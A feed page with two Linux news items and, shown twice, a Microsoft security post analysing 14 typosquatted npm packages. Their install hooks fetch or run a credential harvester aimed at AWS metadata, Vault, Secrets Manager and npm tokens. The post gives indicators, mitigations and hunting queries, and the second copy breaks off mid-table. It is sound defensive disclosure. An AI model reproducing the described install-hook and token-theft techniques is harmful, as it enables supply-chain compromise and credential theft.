Reading view

There are new articles available, click to refresh the page.

Someone Forked systemd Over Its New Birth Date Field

The blog Linuxiac reports: A new systemd fork has appeared with a specific purpose: removing systemd's recently added support for storing a user's birth date in JSON user records. The fork, called Liberated systemd, published its first tagged release as v261 shortly after the official systemd 261 release. In other words, the fork follows upstream systemd while reverting the change that added the new optional birthDate field. Importantly, this is not a new init system, a wider redesign of systemd, or a general-purpose alternative to the upstream project. Its stated purpose is to remain close to upstream systemd while removing what the author describes as "surveillance enablement"... The author recommends testing the fork in a virtual machine before using it on real hardware and warns nightly builds are more likely to be unstable than named releases.

Read more of this story at Slashdot.

After Six Years Of Work and Over 360 Patches, Linux 7.2 Finally Removes Bug-Prone strncpy

Tech Times reports: Linux 7.2's merge window closed out a cleanup campaign on Friday that most kernel developers had stopped expecting to see end: the complete removal of strncpy(), a C string-copy function that the kernel's own documentation labels "actively dangerous," from every subsystem, driver, and architecture-specific file in the kernel source tree. The merge landed June 20, 2026. After around 362 commits spread across six years of incremental work, no call site using the function remained, and the function itself — including the last per-CPU-architecture optimized implementations — was struck from the source. The removal matters beyond housekeeping. strncpy() is a persistent source of a specific class of memory error: kernel buffers that contain sensitive data can leak bytes past an unterminated string boundary, a pattern that enables memory disclosure vulnerabilities. Eliminating the function from the tree removes that entire class from the kernel's attack surface — and, critically, makes strncpy() unavailable to any future contributor, turning a best-practice suggestion into an enforced policy. Phoronix notes it's replaced by five different functions: In place of strncpy, Linux kernel code should use strscpy() for NUL terminated destinations, strscpy_pad() for NUl-terminated destinations with zero-padding, strtomem_pad() for non-NUL-terminated fixed-width fields, memcpy_and_pad() for bounded copies with explicit padding, or memcpy() for known-length memory copies. "The reason five functions were needed," explains Tech Times, "is that different parts of the kernel were using strncpy() for five semantically distinct memory operations — each with a different intent, different termination requirement, and different padding behavior. " The original function obscured all of those differences under a single ambiguous name. The 362-commit campaign to replace it was, in effect, a codebase-wide audit that forced every call site to declare its actual intent in code That is an engineering outcome with lasting value: the kernel's string-handling semantics are now explicit where they were previously implicit, and future maintainers can read a function name and understand what a copy operation actually does.

Read more of this story at Slashdot.

Typosquatted npm packages used to steal cloud and CI/CD secrets

Microsoft has identified an active supply chain attack targeting the npm package ecosystem. On May 28, 2026, a single threat actor operating under the newly created maintainer alias vpmdhaj (a39155771@gmail[.]com) published 14 malicious packages within a four-hour window. The packages typosquat well-known OpenSearch, ElasticSearch, DevOps, and environment-configuration libraries, and several spoof the upstream OpenSearch project’s repository URL in their package.json to appear legitimate. Once installed, the packages harvest AWS credentials, HashiCorp Vault tokens, and CI/CD pipeline secrets from the host environment.

All packages in the cluster ship the same install-time stager and the same Bun-compiled second-stage payload – a ~195 KB credential harvester purpose-built for cloud and CI/CD environments. The payload runs silently during npm install and targets credentials across Amazon Web Services, HashiCorp Vault, GitHub Actions, and the npm registry itself, enabling both cloud lateral movement and downstream supply-chain pivoting through stolen npm publish tokens. Based on our investigation and feedback to the npm team these repos and users were taken down.

Key capabilities observed in the campaign include automatic execution via npm lifecycle hooks, two distinct stager generations (an HTTP-C2 variant and a stealthier variant that abuses the legitimate Bun runtime distribution), AWS Instance Metadata Service (IMDSv2) and ECS task-role theft, AWS Secrets Manager enumeration across 16+ regions, HashiCorp Vault token harvesting, and theft of npm publish tokens for follow-on supply-chain attacks.

Attack chain overview

The vpmdhaj cluster spans 14 scoped and unscoped packages that all mimic the @opensearch / @elastic ecosystem. The attack proceeds through:

  • Publication of 14 typosquat packages under a single actor identity
  • Automatic payload execution through a preinstall hook during npm install
  • Execution chain (Gen-1): node -> preinstall.js -> HTTP C2 -> payload.bin (detached)
  • Execution chain (Gen-2): node -> setup.mjs -> download legitimate Bun runtime -> run bundled stage-2
  • Cloud credential theft (AWS IMDS, ECS metadata, Vault, Secrets Manager) and npm publish-token theft for downstream supply-chain pivot
Figure 1. vpmdhaj npm supply chain attack flow.

The lure: typosquats and spoofed metadata

The actor adopted three social-engineering techniques designed to drive installs by mistake or trust transference. First, lookalike naming – names such as opensearch-setup, opensearch-setup-tool, opensearch-config-utility, elastic-opensearch-helper, search-engine-setup, and env-config-manager mimic well-known cluster-management and configuration libraries. Second, spoofed upstream metadata – every unscoped package sets its package.json homepage, repository, and bugs fields to the legitimate github.com/opensearch-project/opensearch-js project. Third, inflated version numbers – releases jump straight to 1.0.7265, 1.0.9108, or 2.1.9201 to suggest a long, mature release history.

Figure 2. npm.js package page for @vpmdhaj/elastic-helper showing the inflated 1.0.7269 version and the spoofed OpenSearch repository link.

Execution: npm lifecycle hook abuse

Every package in the cluster declares an automatic install-time hook in package.json. The malicious code executes the moment a victim runs npm install – no require() from victim code is needed. Two stager variants were observed:

  • Gen-1 (versions <= 1.0.7265): install, preinstall, and postinstall hooks all invoke preinstall.js / index.js
  • Gen-2 (versions >= 1.0.7266): a single preinstall hook invokes setup.mjs (newer, stealthier loader)
Figure 3. The malicious package.json. A single preinstall hook is enough to gain code execution on every npm install.

Gen-1 stager: HTTP C2 beacon and payload drop

preinstall.js collects rich host context – hostname, platform, arch, Node version, USER/USERNAME, cwd, INIT_CWD, npm_package_name, npm_package_version – base64-encodes the JSON, and POSTs it to the actor’s C2 with a campaign-unique header X-Supply: 1. The same C2 endpoint then serves a gunzip-compressed second-stage binary, which is written to payload.bin in the package install directory, chmod 0755’d, and spawned detached.

Figure 4. Stage-1 C2 beacon. The X-Supply: 1 header is a high-confidence detection signal in proxy logs.
Figure 5. Stage-2 download, decompression, +x, and detached spawn. __DAEMONIZED=1 lets the payload distinguish itself from npm.

The package’s index.js re-launches the same payload.bin on every subsequent require() of the module – a quiet persistence mechanism that survives across CI build stages and developer rebuild loops. The module also exports a benign-looking object falsely identifying itself as @opensearch/setup.

Figure 6. Persistence shim. The malicious module exports benign-looking metadata and silently re-spawns the payload every time it is require()’d.

Gen-2 stager: abusing the legitimate Bun runtime as a loader

In newer versions, the actor replaced the noisy HTTP-C2 design with a stealthier loader that eliminates the install-time C2 round-trip entirely. setup.mjs (a) checks whether bun is already present on the host; (b) if not, downloads the legitimate Bun runtime v1.3.13 from github.com/oven-sh/bun/releases for the correct platform/arch (Linux x64/musl/aarch64, macOS x64/arm64, Windows x64/arm64); (c) extracts the ZIP using unzip, PowerShell Expand-Archive, or a hand-rolled ZIP parser; and (d) executes the pre-bundled second-stage payload (opensearch_init.js or ai_init.js) that ships inside the npm tarball.

This design reduces visibility for defenders that primarily monitor unusual outbound traffic during package installation.

Figure 7. Gen-2 loader. The actor abuses a legitimate GitHub Release of the Bun runtime to execute a pre-bundled payload that ships inside the npm tarball.

Credential theft

The second-stage binary is a single-file Bun-compiled JavaScript binary of approximately 195 KB, purpose-built for cloud and CI/CD secret theft. Static review of the bundle identifies routines that target secrets across five platforms:

  • AWS: queries EC2 Instance Metadata Service v2 (169.254.169[.]254), Elastic Container Service task metadata (169.254.170[.]2), reads AWS env credentials, calls STS GetCallerIdentity / AssumeRole, and enumerates Secrets Manager (ListSecrets / GetSecretValue) across 16+ regions with a bundled SigV4 signer.
  • HashiCorp Vault: reads VAULT_TOKEN and VAULT_AUTH_TOKEN environment variables.
  • npm: validates tokens through /-/whoami and enumerates publish access through /-/npm/v1/tokens.
  • GitHub Actions: collects GITHUB_REPOSITORY and RUNNER_OS context to identify build environments for prioritized exploitation.
  • CI/CD environment: respects __DAEMONIZED=1 to avoid re-entry, and explicitly resets CI=false to mislead build-aware code paths.
Figure 8. String evidence from the Bun-compiled stage-2 payload. The same binary is dropped by both Gen-1 and Gen-2 stagers.

Impact and blast radius

  • Stolen AWS STS sessions and Secrets Manager material enable cloud lateral movement and data theft.
  • Stolen GitHub Actions tokens enable repo manipulation and CI/CD pipeline tampering.
  • Stolen npm publish tokens enable downstream supply-chain pivoting – pushing malicious updates to packages owned by hijacked maintainer identities, expanding the campaign beyond the initial 14 packages.
  • All 14 packages target the OpenSearch / ElasticSearch ecosystem keywords, suggesting the actor likely chose a developer audience to have AWS and Elastic cloud credentials in their environments.

Mitigation and protection guidance

Microsoft recommends the following mitigations to reduce the impact of this threat:

  • Identify systems that installed or built affected package versions on or after May 28, 2026.
  • Pin known-good package versions where possible and avoid automatic dependency upgrades until validation is complete.
  • Disable pre- and post-installation script execution by running npm install with –ignore-scripts (or setting npm config set ignore-scripts true globally). Apply equivalent settings for pnpm and yarn.
  • Rotate AWS IAM/STS, HashiCorp Vault, npm publish, and GitHub Actions tokens that may have been exposed to affected runners or developer workstations.
  • Block egress to aab.sportsontheweb[.]net at proxy, firewall, and DNS layers. Alert on any HTTP request carrying the header X-Supply: 1.
  • Hunt CloudTrail for anomalous sts:GetCallerIdentity rapidly followed by sts:AssumeRole, and for secretsmanager:ListSecrets or GetSecretValue in cross-region succession from build infrastructure or developer IP space.
  • Audit CI/CD logs for unexpected outbound network connections, Bun runtime downloads from GitHub Releases by Node.js processes, and detached child processes spawned with __DAEMONIZED=1.
  • Review npm package lockfiles (package-lock.json, yarn.lock, pnpm-lock.yaml), build logs, and artifact provenance for evidence of compromised package versions.
  • Enable cloud-delivered protection in Microsoft Defender Antivirus or equivalent antivirus protection.
  • Use Microsoft Defender XDR to investigate suspicious activity across endpoints, identities, cloud apps, and developer environments.
  • Use Microsoft Defender Vulnerability Management to search for the affected packages across your estate.

How Microsoft Defender helps

Microsoft Defender Antivirus detects and blocks the malicious components on access. During reproduction in our analysis environment, setup.mjs was automatically quarantined the moment the tarball was extracted to disk.

Figure 9. Microsoft Defender auto-quarantine of setup.mjs at extract time.

Microsoft Defender XDR Detections

Microsoft Defender XDR customers can refer to the list of applicable detections below. Microsoft Defender XDR coordinates detection, prevention, investigation, and response across endpoints, identities, email, and apps to provide integrated protection against attacks like the threat discussed in this blog.

TacticObserved activityMicrosoft Defender coverage
Initial Access / ExecutionSuspicious script execution during npm install or package lifecycle activityMicrosoft Defender Antivirus
  -Trojan:JS/ShaiWorm
  -Trojan:JS/ObfusNpmJs
  -Backdoor:JS/SupplyChain

Microsoft Defender for Endpoint
  – Suspicious usage of Bun runtime
  – Suspicious installation of Bun runtime
  – Suspicious Node.js process behavior

Microsoft Defender XDR
  – Suspicious file creation in temporary directory by node.exe
  – Suspicious Bun execution from Node.js process
Credential AccessPotential harvesting of AWS, Vault, GitHub Actions, and npm tokens from CI/CD runnersMicrosoft Defender for Endpoint
  – Credential access attempt
  – Suspicious cloud credential access by npm-cached binary
  – AWS Instance Metadata Service access from suspicious process

Microsoft Defender for Cloud
  – Possible IMDS abuse from container workload
  – Anomalous Secrets Manager enumeration across regions
Command and ControlOutbound HTTP beacon with X-Supply: 1 header to attacker-controlled C2Microsoft Defender for Endpoint
  – Connection to a custom network indicator (aab.sportsontheweb[.]net)
  – Suspicious outbound HTTP from npm install context
PersistenceRe-spawn of payload.bin on every require() of compromised packageMicrosoft Defender for Endpoint
  – Detached child process spawned by node.exe with __DAEMONIZED=1

Advanced hunting

The following sample queries let you search for a week’s worth of events. To explore up to 30 days of raw data, go to the Advanced Hunting page > Query tab, and update the time range to Last 30 days.

Hunt for suspicious npm lifecycle script execution involving vpmdhaj packages.

DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("node.exe", "node", "npm.cmd", "npm.exe", "npx.cmd", "npx.exe")
| where ProcessCommandLine has_any ("preinstall", "postinstall", "install")
| where ProcessCommandLine has_any (
    "@vpmdhaj", "opensearch-setup", "opensearch-setup-tool",
    "opensearch-config-utility", "opensearch-security-scanner",
    "search-engine-setup", "search-cluster-setup",
    "elastic-opensearch-helper", "vpmdhaj-opensearch-setup",
    "env-config-manager", "app-config-utility")
| project Timestamp, DeviceName, FileName, ProcessCommandLine,
          InitiatingProcessFileName, InitiatingProcessCommandLine, AccountName

Hunt for the stage-2 payload artifact on disk.

DeviceFileEvents
| where Timestamp > ago(7d)
| where FileName =~ "payload.bin"
| where FolderPath has "node_modules"
| project Timestamp, DeviceName, FolderPath, FileName,
          InitiatingProcessFileName, InitiatingProcessCommandLine, AccountName

Hunt for detached payload execution with the campaign environment marker.

DeviceProcessEvents
| where Timestamp > ago(7d)
| where ProcessCommandLine has "__DAEMONIZED=1"
   or InitiatingProcessCommandLine has "__DAEMONIZED=1"
| project Timestamp, DeviceName, FileName, ProcessCommandLine,
          InitiatingProcessFileName, InitiatingProcessCommandLine

Hunt for Gen-2 loader: Bun runtime download from GitHub Releases by Node.js.

DeviceNetworkEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("node.exe", "node")
| where RemoteUrl has "github.com/oven-sh/bun/releases/download"
| project Timestamp, DeviceName, RemoteUrl, RemoteIP,
          InitiatingProcessFileName, InitiatingProcessCommandLine, AccountName

Hunt for C2 beacon to attacker infrastructure.

DeviceNetworkEvents
| where Timestamp > ago(30d)
| where RemoteUrl has "aab.sportsontheweb.net"
   or RemoteUrl has "sportsontheweb.net"
| project Timestamp, DeviceName, RemoteUrl, RemoteIP,
          InitiatingProcessFileName, InitiatingProcessCommandLine, AccountName

Hunt for AWS IMDS / ECS metadata access from Node.js processes.

DeviceNetworkEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("node.exe", "node", "bun.exe", "bun")
| where RemoteIP in ("169.254.169.254", "169.254.170.2")
| project Timestamp, DeviceName, RemoteIP, RemoteUrl,
          InitiatingProcessFileName, InitiatingProcessCommandLine, AccountName

Indicators of Compromise (IOC)

Affected npm packages – all published by maintainer vpmdhaj on 2026-05-28:

IndicatorTypeDescription
@vpmdhaj/elastic-helper (1.0.7269)PackageTyposquat – ElasticSearch/OpenSearch helper
@vpmdhaj/devops-tools (1.0.7267)PackageTyposquat – DevOps tools / OpenSearch setup
@vpmdhaj/opensearch-setup (1.0.7267)PackageTyposquat – OpenSearch setup utility
@vpmdhaj/search-setup (1.0.7268)PackageTyposquat – search engine setup
opensearch-security-scanner (1.0.10)PackageUnscoped lookalike – security scanner
opensearch-setup (1.0.9103)PackageUnscoped lookalike – spoofs opensearch-project repo URL
opensearch-setup-tool (1.0.9108)PackageUnscoped lookalike – spoofs opensearch-project repo URL
opensearch-config-utility (1.0.9106)PackageUnscoped lookalike – spoofs opensearch-project repo URL
search-engine-setup (1.0.9108)PackageUnscoped lookalike – spoofs opensearch-project repo URL
search-cluster-setup (1.0.9104)PackageUnscoped lookalike – spoofs opensearch-project repo URL
elastic-opensearch-helper (1.0.9108)PackageUnscoped lookalike – spoofs opensearch-project repo URL
vpmdhaj-opensearch-setup (1.0.9102)PackageUnscoped – author-named OpenSearch setup
env-config-manager (2.1.9201)PackageTyposquat – dotenv-style config manager
app-config-utility (1.0.9300)PackageTyposquat – generic app config utility

Actor, network, and file IOCs

IndicatorTypeDescription
vpmdhajnpm maintainer aliasThreat actor publishing all 14 packages
a39155771@gmail.comEmailMaintainer contact email registered on npm
aab.sportsontheweb[.]netDomainStage-1 C2 (Gen-1 packages)
hxxp://aab.sportsontheweb[.]net/x.phpURLBeacon + stage-2 payload endpoint (port 80)
X-Supply: 1HTTP headerCampaign-unique marker – high-confidence proxy detection
169.254.169.254IPAWS EC2 IMDSv2 endpoint queried by stage-2
169.254.170.2IPAWS ECS task metadata endpoint queried by stage-2
638788AFC4F1B5860A328312CAF5895ABD5F5632D28A4F2A85B09076E270D15DSHA-256preinstall.js (Gen-1 stager)
77D92EFE7AF3547F71FD41D4A884872D66B1BE9499EAA637E91EAC866911694DSHA-256setup.mjs (Gen-2 stager)
BFA149694EC6411C23936311A999163ADE54D6F38E2F4B0E3CFB8CB67BD7CFAASHA-256payload.gz (gzipped Bun stage-2)
opensearch_init.jsFilenameBun-compiled stage-2 credential harvester (~195 KB)
ai_init.jsFilenameAlternate stage-2 filename used by some Gen-2 packages
payload.binFilenameDropped stage-2 binary in node_modules install dir
__DAEMONIZED=1Env varMarker set by stager when spawning detached payload

References

  • https://www.npmjs.com/~vpmdhaj  –  npm maintainer profile (all 14 packages)
  • https://www.npmjs.com/package/@vpmdhaj/elastic-helper
  • https://www.npmjs.com/package/@vpmdhaj/devops-tools
  • https://docs.npmjs.com/cli/v10/using-npm/scripts  –  npm lifecycle scripts documentation
  • https://bun.sh  –  Bun runtime (abused by Gen-2 stager as a loader)
  • https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-IMDS-use-IMDSv2.html  –  IMDSv2 hardening guidance

This research is provided by Microsoft Defender Security Research with contributions from members of Microsoft Threat Intelligence.

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedInX (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

Review our documentation to learn more about our real-time protection capabilities and see how to enable them within your organization.   

The post Typosquatted npm packages used to steal cloud and CI/CD secrets appeared first on Microsoft Security Blog.

Typosquatted npm packages used to steal cloud and CI/CD secrets

Microsoft has identified an active supply chain attack targeting the npm package ecosystem. On May 28, 2026, a single threat actor operating under the newly created maintainer alias vpmdhaj (a39155771@gmail[.]com) published 14 malicious packages within a four-hour window. The packages typosquat well-known OpenSearch, ElasticSearch, DevOps, and environment-configuration libraries, and several spoof the upstream OpenSearch project’s repository URL in their package.json to appear legitimate. Once installed, the packages harvest AWS credentials, HashiCorp Vault tokens, and CI/CD pipeline secrets from the host environment.

All packages in the cluster ship the same install-time stager and the same Bun-compiled second-stage payload – a ~195 KB credential harvester purpose-built for cloud and CI/CD environments. The payload runs silently during npm install and targets credentials across Amazon Web Services, HashiCorp Vault, GitHub Actions, and the npm registry itself, enabling both cloud lateral movement and downstream supply-chain pivoting through stolen npm publish tokens. Based on our investigation and feedback to the npm team these repos and users were taken down.

Key capabilities observed in the campaign include automatic execution via npm lifecycle hooks, two distinct stager generations (an HTTP-C2 variant and a stealthier variant that abuses the legitimate Bun runtime distribution), AWS Instance Metadata Service (IMDSv2) and ECS task-role theft, AWS Secrets Manager enumeration across 16+ regions, HashiCorp Vault token harvesting, and theft of npm publish tokens for follow-on supply-chain attacks.

Attack chain overview

The vpmdhaj cluster spans 14 scoped and unscoped packages that all mimic the @opensearch / @elastic ecosystem. The attack proceeds through:

  • Publication of 14 typosquat packages under a single actor identity
  • Automatic payload execution through a preinstall hook during npm install
  • Execution chain (Gen-1): node -> preinstall.js -> HTTP C2 -> payload.bin (detached)
  • Execution chain (Gen-2): node -> setup.mjs -> download legitimate Bun runtime -> run bundled stage-2
  • Cloud credential theft (AWS IMDS, ECS metadata, Vault, Secrets Manager) and npm publish-token theft for downstream supply-chain pivot
Figure 1. vpmdhaj npm supply chain attack flow.

The lure: typosquats and spoofed metadata

The actor adopted three social-engineering techniques designed to drive installs by mistake or trust transference. First, lookalike naming – names such as opensearch-setup, opensearch-setup-tool, opensearch-config-utility, elastic-opensearch-helper, search-engine-setup, and env-config-manager mimic well-known cluster-management and configuration libraries. Second, spoofed upstream metadata – every unscoped package sets its package.json homepage, repository, and bugs fields to the legitimate github.com/opensearch-project/opensearch-js project. Third, inflated version numbers – releases jump straight to 1.0.7265, 1.0.9108, or 2.1.9201 to suggest a long, mature release history.

Figure 2. npm.js package page for @vpmdhaj/elastic-helper showing the inflated 1.0.7269 version and the spoofed OpenSearch repository link.

Execution: npm lifecycle hook abuse

Every package in the cluster declares an automatic install-time hook in package.json. The malicious code executes the moment a victim runs npm install – no require() from victim code is needed. Two stager variants were observed:

  • Gen-1 (versions <= 1.0.7265): install, preinstall, and postinstall hooks all invoke preinstall.js / index.js
  • Gen-2 (versions >= 1.0.7266): a single preinstall hook invokes setup.mjs (newer, stealthier loader)
Figure 3. The malicious package.json. A single preinstall hook is enough to gain code execution on every npm install.

Gen-1 stager: HTTP C2 beacon and payload drop

preinstall.js collects rich host context – hostname, platform, arch, Node version, USER/USERNAME, cwd, INIT_CWD, npm_package_name, npm_package_version – base64-encodes the JSON, and POSTs it to the actor’s C2 with a campaign-unique header X-Supply: 1. The same C2 endpoint then serves a gunzip-compressed second-stage binary, which is written to payload.bin in the package install directory, chmod 0755’d, and spawned detached.

Figure 4. Stage-1 C2 beacon. The X-Supply: 1 header is a high-confidence detection signal in proxy logs.
Figure 5. Stage-2 download, decompression, +x, and detached spawn. __DAEMONIZED=1 lets the payload distinguish itself from npm.

The package’s index.js re-launches the same payload.bin on every subsequent require() of the module – a quiet persistence mechanism that survives across CI build stages and developer rebuild loops. The module also exports a benign-looking object falsely identifying itself as @opensearch/setup.

Figure 6. Persistence shim. The malicious module exports benign-looking metadata and silently re-spawns the payload every time it is require()’d.

Gen-2 stager: abusing the legitimate Bun runtime as a loader

In newer versions, the actor replaced the noisy HTTP-C2 design with a stealthier loader that eliminates the install-time C2 round-trip entirely. setup.mjs (a) checks whether bun is already present on the host; (b) if not, downloads the legitimate Bun runtime v1.3.13 from github.com/oven-sh/bun/releases for the correct platform/arch (Linux x64/musl/aarch64, macOS x64/arm64, Windows x64/arm64); (c) extracts the ZIP using unzip, PowerShell Expand-Archive, or a hand-rolled ZIP parser; and (d) executes the pre-bundled second-stage payload (opensearch_init.js or ai_init.js) that ships inside the npm tarball.

This design reduces visibility for defenders that primarily monitor unusual outbound traffic during package installation.

Figure 7. Gen-2 loader. The actor abuses a legitimate GitHub Release of the Bun runtime to execute a pre-bundled payload that ships inside the npm tarball.

Credential theft

The second-stage binary is a single-file Bun-compiled JavaScript binary of approximately 195 KB, purpose-built for cloud and CI/CD secret theft. Static review of the bundle identifies routines that target secrets across five platforms:

  • AWS: queries EC2 Instance Metadata Service v2 (169.254.169[.]254), Elastic Container Service task metadata (169.254.170[.]2), reads AWS env credentials, calls STS GetCallerIdentity / AssumeRole, and enumerates Secrets Manager (ListSecrets / GetSecretValue) across 16+ regions with a bundled SigV4 signer.
  • HashiCorp Vault: reads VAULT_TOKEN and VAULT_AUTH_TOKEN environment variables.
  • npm: validates tokens through /-/whoami and enumerates publish access through /-/npm/v1/tokens.
  • GitHub Actions: collects GITHUB_REPOSITORY and RUNNER_OS context to identify build environments for prioritized exploitation.
  • CI/CD environment: respects __DAEMONIZED=1 to avoid re-entry, and explicitly resets CI=false to mislead build-aware code paths.
Figure 8. String evidence from the Bun-compiled stage-2 payload. The same binary is dropped by both Gen-1 and Gen-2 stagers.

Impact and blast radius

  • Stolen AWS STS sessions and Secrets Manager material enable cloud lateral movement and data theft.
  • Stolen GitHub Actions tokens enable repo manipulation and CI/CD pipeline tampering.
  • Stolen npm publish tokens enable downstream supply-chain pivoting – pushing malicious updates to packages owned by hijacked maintainer identities, expanding the campaign beyond the initial 14 packages.
  • All 14 packages target the OpenSearch / ElasticSearch ecosystem keywords, suggesting the actor likely chose a developer audience to have AWS and Elastic cloud credentials in their environments.

Mitigation and protection guidance

Microsoft recommends the following mitigations to reduce the impact of this threat:

  • Identify systems that installed or built affected package versions on or after May 28, 2026.
  • Pin known-good package versions where possible and avoid automatic dependency upgrades until validation is complete.
  • Disable pre- and post-installation script execution by running npm install with –ignore-scripts (or setting npm config set ignore-scripts true globally). Apply equivalent settings for pnpm and yarn.
  • Rotate AWS IAM/STS, HashiCorp Vault, npm publish, and GitHub Actions tokens that may have been exposed to affected runners or developer workstations.
  • Block egress to aab.sportsontheweb[.]net at proxy, firewall, and DNS layers. Alert on any HTTP request carrying the header X-Supply: 1.
  • Hunt CloudTrail for anomalous sts:GetCallerIdentity rapidly followed by sts:AssumeRole, and for secretsmanager:ListSecrets or GetSecretValue in cross-region succession from build infrastructure or developer IP space.
  • Audit CI/CD logs for unexpected outbound network connections, Bun runtime downloads from GitHub Releases by Node.js processes, and detached child processes spawned with __DAEMONIZED=1.
  • Review npm package lockfiles (package-lock.json, yarn.lock, pnpm-lock.yaml), build logs, and artifact provenance for evidence of compromised package versions.
  • Enable cloud-delivered protection in Microsoft Defender Antivirus or equivalent antivirus protection.
  • Use Microsoft Defender XDR to investigate suspicious activity across endpoints, identities, cloud apps, and developer environments.
  • Use Microsoft Defender Vulnerability Management to search for the affected packages across your estate.

How Microsoft Defender helps

Microsoft Defender Antivirus detects and blocks the malicious components on access. During reproduction in our analysis environment, setup.mjs was automatically quarantined the moment the tarball was extracted to disk.

Figure 9. Microsoft Defender auto-quarantine of setup.mjs at extract time.

Microsoft Defender XDR Detections

Microsoft Defender XDR customers can refer to the list of applicable detections below. Microsoft Defender XDR coordinates detection, prevention, investigation, and response across endpoints, identities, email, and apps to provide integrated protection against attacks like the threat discussed in this blog.

TacticObserved activityMicrosoft Defender coverage
Initial Access / ExecutionSuspicious script execution during npm install or package lifecycle activityMicrosoft Defender Antivirus
  -Trojan:JS/ShaiWorm
  -Trojan:JS/ObfusNpmJs
  -Backdoor:JS/SupplyChain

Microsoft Defender for Endpoint
  – Suspicious usage of Bun runtime
  – Suspicious installation of Bun runtime
  – Suspicious Node.js process behavior

Microsoft Defender XDR
  – Suspicious file creation in temporary directory by node.exe
  – Suspicious Bun execution from Node.js process
Credential AccessPotential harvesting of AWS, Vault, GitHub Actions, and npm tokens from CI/CD runnersMicrosoft Defender for Endpoint
  – Credential access attempt
  – Suspicious cloud credential access by npm-cached binary
  – AWS Instance Metadata Service access from suspicious process

Microsoft Defender for Cloud
  – Possible IMDS abuse from container workload
  – Anomalous Secrets Manager enumeration across regions
Command and ControlOutbound HTTP beacon with X-Supply: 1 header to attacker-controlled C2Microsoft Defender for Endpoint
  – Connection to a custom network indicator (aab.sportsontheweb[.]net)
  – Suspicious outbound HTTP from npm install context
PersistenceRe-spawn of payload.bin on every require() of compromised packageMicrosoft Defender for Endpoint
  – Detached child process spawned by node.exe with __DAEMONIZED=1

Advanced hunting

The following sample queries let you search for a week’s worth of events. To explore up to 30 days of raw data, go to the Advanced Hunting page > Query tab, and update the time range to Last 30 days.

Hunt for suspicious npm lifecycle script execution involving vpmdhaj packages.

DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("node.exe", "node", "npm.cmd", "npm.exe", "npx.cmd", "npx.exe")
| where ProcessCommandLine has_any ("preinstall", "postinstall", "install")
| where ProcessCommandLine has_any (
    "@vpmdhaj", "opensearch-setup", "opensearch-setup-tool",
    "opensearch-config-utility", "opensearch-security-scanner",
    "search-engine-setup", "search-cluster-setup",
    "elastic-opensearch-helper", "vpmdhaj-opensearch-setup",
    "env-config-manager", "app-config-utility")
| project Timestamp, DeviceName, FileName, ProcessCommandLine,
          InitiatingProcessFileName, InitiatingProcessCommandLine, AccountName

Hunt for the stage-2 payload artifact on disk.

DeviceFileEvents
| where Timestamp > ago(7d)
| where FileName =~ "payload.bin"
| where FolderPath has "node_modules"
| project Timestamp, DeviceName, FolderPath, FileName,
          InitiatingProcessFileName, InitiatingProcessCommandLine, AccountName

Hunt for detached payload execution with the campaign environment marker.

DeviceProcessEvents
| where Timestamp > ago(7d)
| where ProcessCommandLine has "__DAEMONIZED=1"
   or InitiatingProcessCommandLine has "__DAEMONIZED=1"
| project Timestamp, DeviceName, FileName, ProcessCommandLine,
          InitiatingProcessFileName, InitiatingProcessCommandLine

Hunt for Gen-2 loader: Bun runtime download from GitHub Releases by Node.js.

DeviceNetworkEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("node.exe", "node")
| where RemoteUrl has "github.com/oven-sh/bun/releases/download"
| project Timestamp, DeviceName, RemoteUrl, RemoteIP,
          InitiatingProcessFileName, InitiatingProcessCommandLine, AccountName

Hunt for C2 beacon to attacker infrastructure.

DeviceNetworkEvents
| where Timestamp > ago(30d)
| where RemoteUrl has "aab.sportsontheweb.net"
   or RemoteUrl has "sportsontheweb.net"
| project Timestamp, DeviceName, RemoteUrl, RemoteIP,
          InitiatingProcessFileName, InitiatingProcessCommandLine, AccountName

Hunt for AWS IMDS / ECS metadata access from Node.js processes.

DeviceNetworkEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("node.exe", "node", "bun.exe", "bun")
| where RemoteIP in ("169.254.169.254", "169.254.170.2")
| project Timestamp, DeviceName, RemoteIP, RemoteUrl,
          InitiatingProcessFileName, InitiatingProcessCommandLine, AccountName

Indicators of Compromise (IOC)

Affected npm packages – all published by maintainer vpmdhaj on 2026-05-28:

IndicatorTypeDescription
@vpmdhaj/elastic-helper (1.0.7269)PackageTyposquat – ElasticSearch/OpenSearch helper
@vpmdhaj/devops-tools (1.0.7267)PackageTyposquat – DevOps tools / OpenSearch setup
@vpmdhaj/opensearch-setup (1.0.7267)PackageTyposquat – OpenSearch setup utility
@vpmdhaj/search-setup (1.0.7268)PackageTyposquat – search engine setup
opensearch-security-scanner (1.0.10)PackageUnscoped lookalike – security scanner
opensearch-setup (1.0.9103)PackageUnscoped lookalike – spoofs opensearch-project repo URL
opensearch-setup-tool (1.0.9108)PackageUnscoped lookalike – spoofs opensearch-project repo URL
opensearch-config-utility (1.0.9106)PackageUnscoped lookalike – spoofs opensearch-project repo URL
search-engine-setup (1.0.9108)PackageUnscoped lookalike – spoofs opensearch-project repo URL
search-cluster-setup (1.0.9104)PackageUnscoped lookalike – spoofs opensearch-project repo URL
elastic-opensearch-helper (1.0.9108)PackageUnscoped lookalike – spoofs opensearch-project repo URL
vpmdhaj-opensearch-setup (1.0.9102)PackageUnscoped – author-named OpenSearch setup
env-config-manager (2.1.9201)PackageTyposquat – dotenv-style config manager
app-config-utility (1.0.9300)PackageTyposquat – generic app config utility

Actor, network, and file IOCs

IndicatorTypeDescription
vpmdhajnpm maintainer aliasThreat actor publishing all 14 packages
a39155771@gmail.comEmailMaintainer contact email registered on npm
aab.sportsontheweb[.]netDomainStage-1 C2 (Gen-1 packages)
hxxp://aab.sportsontheweb[.]net/x.phpURLBeacon + stage-2 payload endpoint (port 80)
X-Supply: 1HTTP headerCampaign-unique marker – high-confidence proxy detection
169.254.169.254IPAWS EC2 IMDSv2 endpoint queried by stage-2
